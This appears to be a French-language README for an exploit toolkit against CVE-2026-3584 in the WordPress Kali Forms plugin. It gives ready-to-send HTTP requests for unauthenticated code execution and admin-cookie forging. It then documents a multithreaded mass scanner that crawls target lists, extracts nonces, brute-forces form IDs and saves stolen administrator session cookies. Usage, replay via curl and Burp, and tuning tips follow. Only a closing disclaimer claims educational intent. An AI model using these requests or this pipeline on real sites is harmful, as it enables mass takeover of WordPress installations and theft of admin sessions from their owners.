
CVE-2026-3584
🔥 Résumé de la vulnérabilité
Le plugin WordPress Kali Forms versions <= 2.4.9 présente une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE). Cette faille permet aux attaquants non authentifiés d'exécuter du code PHP arbitraire sur le serveur et d'obtenir des privilèges d'administrateur complet via l'endpoint AJAX kaliforms_form_process exposé publiquement sans contrôles d'autorisation.
La vulnérabilité réside dans la fonction form_process qui accepte des paramètres contrôlés par l'utilisateur (y compris thisPermalink et entryCounter) et exécute des callbacks PHP arbitraires, conduisant à :
phpinfo(), system(), eval(), etc.wp_set_auth_cookie() pour obtenir des sessions administrativesLa vulnérabilité se manifeste dans la fonction form_process du plugin Kali Forms qui gère les requêtes AJAX. Le code vulnérable est exposé via :
// Endpoint AJAX accessible sans authentification
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Flux de l'Exploit :
Endpoint non protégé : L'endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process est accessible aux utilisateurs non authentifiés via le hook wp_ajax_nopriv_.
Paramètres contrôlables par l'utilisateur :
data[thisPermalink] - peut contenir un nom de fonction PHP arbitrairedata[entryCounter] - peut contenir un nom de fonction PHP arbitrairedata[formId] - ID du formulaire à traiterExécution de callbacks non filtrés : Le code vulnérable exécute des callbacks PHP sans validation :
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Aucun contrôle !
Chaîne d'exploitation :
Attaquant → Requête POST → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
Exécution de code PHP → phpinfo() exécuté
↓
entryCounter=wp_set_auth_cookie → Cookie administrateur généré
↓
Accès administrateur complet
Exemple de requête vulnérable :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Résultat : Le serveur exécute phpinfo() et retourne des informations complètes sur la configuration PHP.
Pour l'escalade de privilèges :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Résultat : WordPress exécute wp_set_auth_cookie(user_id) où user_id correspond souvent à formId, générant des cookies de session administrateur valides.
Le mass_scanner.py implémente un pipeline automatisé en 4 phases pour l'exploitation complète de la vulnérabilité CVE-2026-3584 :
┌──────────────────────────────────────────────────────────────────────────────┐
│ MASS SCANNER PIPELINE │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Phase 1 : Reconnaissance API REST │
│ ├─ Enumère les utilisateurs : /wp-json/wp/v2/users │
│ └─ Enumère les articles : /wp-json/wp/v2/posts │
│ → Identifie user_id et post_id pour escalade │
│ │
│ Phase 2 : Découverte des formulaires │
│ ├─ Crawl du site (depth=2) │
│ ├─ Cherche les patterns : 'KaliFormsObject', 'kaliforms' │
│ ├─ Extrait le nonce du JavaScript │
│ └─ Extrait le formId du HTML │
│ → Trouve tous les formulaires Kali Forms vulnérables │
│ │
│ Phase 3 : Test RCE │
│ ├─ Envoie : data[thisPermalink]=phpinfo │
│ ├─ Vérifie : 'PHP Version' dans la réponse │
│ └─ Sauvegarde : result/target_phpinfo.html │
│ → Confirme l'exécution de code à distance │
│ │
│ Phase 4 : Escalade de privilèges │
│ ├─ Envoie : data[entryCounter]=wp_set_auth_cookie │
│ ├─ Extrait : cookies wordpress_logged_in + wordpress_sec │
│ ├─ Vérifie : Accès à /wp-admin/ sans redirection │
│ └─ Sauvegarde : result_cookie/target.txt │
│ → Obtient un accès administrateur complet │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
1. Normalisation automatique des URLs
def normalize_url(self, target):
# Ajoute automatiquement http:// ou https://
# Essaie d'abord HTTPS, puis fallback sur HTTP
# Gère les ports personnalisés (ex. :8080)
2. Énumération de l'API REST
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Extrait tous les user_id disponibles
# Utilisé pour mapper formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Extrait tous les post_id disponibles
# Identifie les chevauchements user_id/post_id
3. Découverte des formulaires (Crawling intelligent)
def discover_pages(self, target, max_depth=2):
# Crawl récursif du site
# Cherche les patterns JavaScript : 'KaliFormsObject'
# Filtre les URLs non nécessaires (js, css, images)
# Suit uniquement les liens internes
# Retourne la liste des pages avec Kali Forms
4. Extraction des données du formulaire
def extract_form_data(self, page_url):
# Extrait le nonce du JavaScript :
# KaliFormsObject = { ajax_nonce: "abc123" }
# Extrait le formId du HTML :
# data-id="1" ou [kaliform id="1"]
# Si nonce trouvé mais pas de formId :
# Brute force ID 1-10
5. Test RCE
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload : data[thisPermalink]=phpinfo
# Vérifie : len(response) > 10000 et 'PHP Version' présent
# Sauvegarde le HTML complet pour analyse
6. Test d'escalade de privilèges
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Stratégie intelligente :
# 1. Cherche les chevauchements user_id/post_id
# 2. Teste d'abord les IDs à forte probabilité de succès
# 3. Fallback sur IDs communs : 1,2,3,4,5
# Pour chaque formId candidat :
# POST data[entryCounter]=wp_set_auth_cookie
# Extrait les cookies : wordpress_logged_in + wordpress_sec
# Vérifie : GET /wp-admin/ → pas de redirection
# Contrôle : 'dashboard' dans la réponse
7. Multi-threading
# ThreadPoolExecutor pour traitement parallèle
# Locks thread-safe pour écriture des résultats
# Sauvegarde en temps réel (mode append)
# Statistiques globales avec sync
8. Système de sauvegarde automatique
def backup_previous_results(self):
# Avant chaque scan :
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# Préserve toutes les données historiques
pip3 install requests beautifulsoup4
Créez un fichier targets.txt avec une cible par ligne (http/https optionnel) :
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# Scan avec paramètres par défaut (20 threads)
python3 mass_scanner.py targets.txt
# Scan avec threads personnalisés
python3 mass_scanner.py -t 10 targets.txt
# Scan avec nombre maximum de threads
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
SCANNER DE MASSE - CVE-2026-3584 Pipeline Complète
======================================================================
Cibles : 100
Threads : 20
Pipeline : Reconnaissance → Découverte Formulaires → RCE → Escalade Privilèges
======================================================================
[*] Résultats précédents sauvegardés dans : result_phpinfo.txt.20260325_120000.backup
[04:38:28] [INFO] https://target1.com: Lancement du scan...
[04:38:28] [INFO] https://target1.com: Phase 1 : Énumération API REST...
[04:38:29] [INFO] https://target1.com: 3 utilisateurs trouvés via API
[04:38:29] [INFO] https://target1.com: 5 articles trouvés via API
[04:38:29] [INFO] https://target1.com: Phase 2 : Découverte des formulaires...
[04:38:31] [INFO] https://target1.com: 8 pages trouvées avec des formulaires
[04:38:31] [INFO] https://target1.com: Phase 3 : Test RCE...
[04:38:31] [INFO] https://target1.com: Test formulaire(s) [1, 2, 3] avec nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCÈS sur le formulaire 1 !
[04:38:32] [INFO] https://target1.com: phpinfo sauvegardé dans result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Phase 4 : Test d'escalade de privilèges...
[04:38:33] [CRITICAL] https://target1.com: ESCALADE DE PRIVILÈGES RÉUSSIE avec formId=1 !
[04:38:33] [INFO] https://target1.com: Cookie sauvegardé dans result_cookie/target1.com.txt
[04:38:35] [INFO] https://target2.com: Lancement du scan...
[04:38:36] [INFO] https://target2.com: Phase 1 : Énumération API REST...
[04:38:37] [WARN] https://target2.com: Aucun Kali Forms trouvé
...
======================================================================
STATISTIQUES DU SCAN
======================================================================
Cibles totales : 100
Scannées : 100
Vulnérables : 45
- RCE uniquement : 10
- Escalade Priv (CVSS10) : 35
Échecs : 55
======================================================================
Résultats sauvegardés :
- result_phpinfo.txt (RCE réussi)
- result_yes_all.txt (RCE + Escalade de Privilèges)
- result/*.html (Sortie phpinfo)
- result_cookie/*.txt (Requêtes HTTP avec cookies administrateurs)
======================================================================
/root/
├── result_phpinfo.txt # Liste des cibles avec RCE confirmé
├── result_yes_all.txt # Liste des cibles avec accès admin complet
├── result/ # Fichiers HTML phpinfo détaillés
│ ├── target1.com_form1_phpinfo.html
│ ├── target2.org_form2_phpinfo.html
│ └── ...
└── result_cookie/ # Requêtes HTTP avec cookies administrateurs
├── target1.com.txt
├── target2.org.txt
└── ...
https://target1.com | Formulaire : https://target1.com/contact | ID Formulaire : 1 | Nonce : 46aedbd358 | Fichier : result/target1.com_form1_phpinfo.html
https://target2.org | Formulaire : https://target2.org/form | ID Formulaire : 2 | Nonce : abc123def4 | Fichier : result/target2.org_form2_phpinfo.html
======================================================================
CIBLE : https://target1.com
TIMESTAMP : 2026-03-25T04:38:33.123456
======================================================================
RCE : SUCCÈS
URL Formulaire : https://target1.com/contact
ID Formulaire : 1
Nonce : 46aedbd358
phpinfo : result/target1.com_form1_phpinfo.html
ESCALADE DE PRIVILÈGES : SUCCÈS (CVSS 10.0)
Exploit formId : 1
Cookie : wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
Fichier Cookie : result_cookie/target1.com.txt
Impact : Accès administrateur complet
COMMANDES D'EXPLOITATION :
Test RCE :
python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358
Escalade de Privilèges :
python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358
======================================================================
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Ce format est prêt à être copié-collé directement dans Burp Suite Repeater ou utilisé avec curl.
Méthode 1 : Test avec curl
# Extraire le cookie du fichier
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')
# Tester l'accès administrateur
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard
# Si la sortie contient "Dashboard" → Cookie fonctionnel !
Méthode 2 : Utilisation dans Burp Suite
# Étape 1 : Générer la configuration automatique (optionnel)
./burp_config_gen.sh result_cookie/target.com.txt
# Étape 2 : Burp Suite → Proxy → Options → Match and Replace → Add
# Étape 3 : Configuration :
Type: Request header
Match: ^Cookie:.*$
Replace: Cookie: [COLLER_COOKIE_DU_FICHIER]
☑ Regex match
# Étape 4 : Activer la règle (checkbox)
# Étape 5 : Naviguer vers https://target.com/wp-admin/
# Résultat : Accès administrateur immédiat
Pendant le scan, il est possible de surveiller les résultats en temps réel :
# Terminal 1 : Lancer le scanner
python3 mass_scanner.py targets.txt
# Terminal 2 : Surveiller les résultats RCE
watch -n 2 'tail -20 result_phpinfo.txt'
# Terminal 3 : Surveiller l'escalade de privilèges
watch -n 2 'tail -20 result_yes_all.txt'
# Terminal 4 : Compter les cibles vulnérables
watch -n 5 'echo "RCE : $(wc -l < result_phpinfo.txt) | Admin : $(grep -c "ESCALADE DE PRIVILÈGES : SUCCÈS" result_yes_all.txt)"'
Avant chaque nouveau scan, le scanner sauvegarde automatiquement les résultats précédents :
Scan 1 : [12:00]
result_phpinfo.txt
result_yes_all.txt
result/
result_cookie/
Scan 2 : [13:00] - Sauvegarde automatique !
[*] Résultats précédents sauvegardés dans : result_phpinfo.txt.20260325_120000.backup
[*] Résultats précédents sauvegardés dans : result_yes_all.txt.20260325_120000.backup
[*] Fichiers phpinfo précédents sauvegardés dans : result.20260325_120000.backup/
[*] Fichiers cookie précédents sauvegardés dans : result_cookie.20260325_120000.backup/
Toutes les données précédentes sont préservées avec un timestamp !
Nombre de threads recommandé :
# Réseau rapide, beaucoup de cibles
python3 mass_scanner.py -t 50 targets.txt
# Réseau moyen, cibles modérées
python3 mass_scanner.py -t 20 targets.txt # (par défaut)
# Réseau lent ou peu de cibles
python3 mass_scanner.py -t 10 targets.txt
# Test unique (debug)
python3 mass_scanner.py -t 1 targets.txt
Performances attendues :
Problème : Aucune cible vulnérable trouvée
# Vérification manuelle que le site a Kali Forms
curl -s https://target.com | grep -i "kaliforms"
# Si trouvé, extraire le nonce manuellement
curl -s https://target.com | grep -i "KaliFormsObject"
Problème : Timeouts fréquents
# Réduire le nombre de threads
python3 mass_scanner.py -t 5 targets.txt
# Ou augmenter le timeout en modifiant le code (timeout=10 → timeout=30)
Problème : Le cookie ne fonctionne pas
# Vérifier la validité du cookie
python3 test_burp_persistent.sh http://target.com
# Si échec, regénérer le cookie avec :
python3 get_fresh_admin_cookie.py http://target.com [NONCE]
⚠️ IMPORTANT :
Ces informations et outils sont fournis exclusivement à des fins éducatives et de tests de sécurité autorisés.
L'accès ou l'utilisation non autorisée de systèmes informatiques est illégale et contraire à l'éthique.
Les auteurs et contributeurs de ce référentiel ne sont pas responsables de toute utilisation abusive ou des dommages causés par ces outils. Les utilisateurs sont responsables de s'assurer qu'ils ont l'autorisation appropriée avant de tester tout système.
Utiliser de manière responsable et uniquement avec une autorisation écrite explicite.
CVE et Advisory :
Plugin vulnérable :
CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical
Recherche en Sécurité | Exploitation Responsable | Éducation à la Cybersécurité